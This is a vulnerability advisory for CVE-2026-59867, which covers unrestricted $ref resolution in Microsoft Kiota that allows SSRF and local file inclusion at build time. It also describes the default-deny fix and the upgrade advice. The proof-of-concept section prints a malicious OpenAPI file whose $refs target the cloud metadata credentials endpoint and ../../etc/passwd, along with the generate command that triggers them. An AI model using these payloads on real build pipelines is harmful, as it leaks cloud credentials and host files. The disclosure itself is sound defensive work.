high · 7.1CVE-2026-59867Jul 24, 2026

CVE-2026-59867: Microsoft Kiota SSRF and Local File Inclusion via Unrestricted OpenAPI $ref Resolution

Rohit Hatagale
AI Security Researcher, SecureLayer7

Kiota's code generator fetched any URL or local file path found in an OpenAPI $ref without restriction, letting an attacker trigger outbound network requests from the build host and leak local file…

PackageMicrosoft.OpenApi.Kiota
Ecosystemnuget
Affected< 1.32.5
Fixed in1.32.5
CVE-2026-59867: Microsoft Kiota SSRF and Local File Inclusion via Unrestricted OpenAPI $ref Resolution

The problem

Microsoft Kiota resolves OpenAPI $ref values during code generation. Before 1.32.5, it placed no restrictions on which URIs or file paths it would follow: remote http/https URLs were fetched outright (SSRF, CWE-918), and local paths including absolute paths and relative traversals were read and inlined into the generated client (LFI, CWE-22; RFI, CWE-829).

The threat is build-time, not runtime. A developer or CI pipeline running kiota generate on an attacker-influenced OpenAPI description will make outbound requests from inside the CI network (cloud metadata endpoints, internal services) and may embed the contents of arbitrary local files into a client that is then committed or published.

Resolution is transitive: a $ref chain across multiple files is followed in full.

Proof of concept

A working proof-of-concept for CVE-2026-59867 in Microsoft.OpenApi.Kiota, with the exact payload below.

bash
# evil.yaml — attacker-controlled or attacker-influenced OpenAPI description
openapi: "3.0.0"
info:
  title: Evil API
  version: "1.0"
paths:
  /items:
    get:
      responses:
        "200":
          description: ok
          content:
            application/json:
              schema:
                # SSRF + RFI: generator fetches this URL from the build/CI host
                $ref: "http://169.254.169.254/latest/meta-data/iam/security-credentials/role#/RemoteKiotaProp"

components:
  schemas:
    Secret:
      # LFI / path traversal: generator reads this local file and inlines its schema
      $ref: "../../etc/passwd#/Leaked"

# Trigger generation (Kiota <= 1.32.4):
# kiota generate -l csharp -d evil.yaml -o ./out -c EvilClient
#
# Result: the fetched remote schema property (REMOTE_KIOTA_PROP) and the local
# file schema (Leaked) appear in the generated client source under ./out/

The root cause is the absence of any allow-list or origin check in Kiota's $ref stream loader: the loader accepted any URI scheme and any file path, including http/https (SSRF) and relative or absolute local paths (path traversal). Because resolution is transitive, a $ref that points to a remote document whose contents themselves contain further $refs will be followed recursively.

The patch (PR #7888, commit cccd798) introduced AllowedExternalOriginsStreamLoader, which wraps the existing loader with a default-deny policy. Any $ref whose origin (scheme+host for URLs, resolved path for files) is not on the explicit allow-list is refused. The new --allowed-external-origins CLI flag opts specific origins back in.

With no entries in the allow-list, external references are silently blocked rather than fetched.

The fix

Upgrade to Microsoft.OpenApi.Kiota 1.32.5 or later. External $ref resolution is now default-deny. If your spec legitimately references external schemas, pass --allowed-external-origins with an explicit list of trusted URIs or path patterns. Do not use the wildcard (*) in untrusted environments.

Reporter not attributed.

References: [1][2][3][4][5][6]

Related research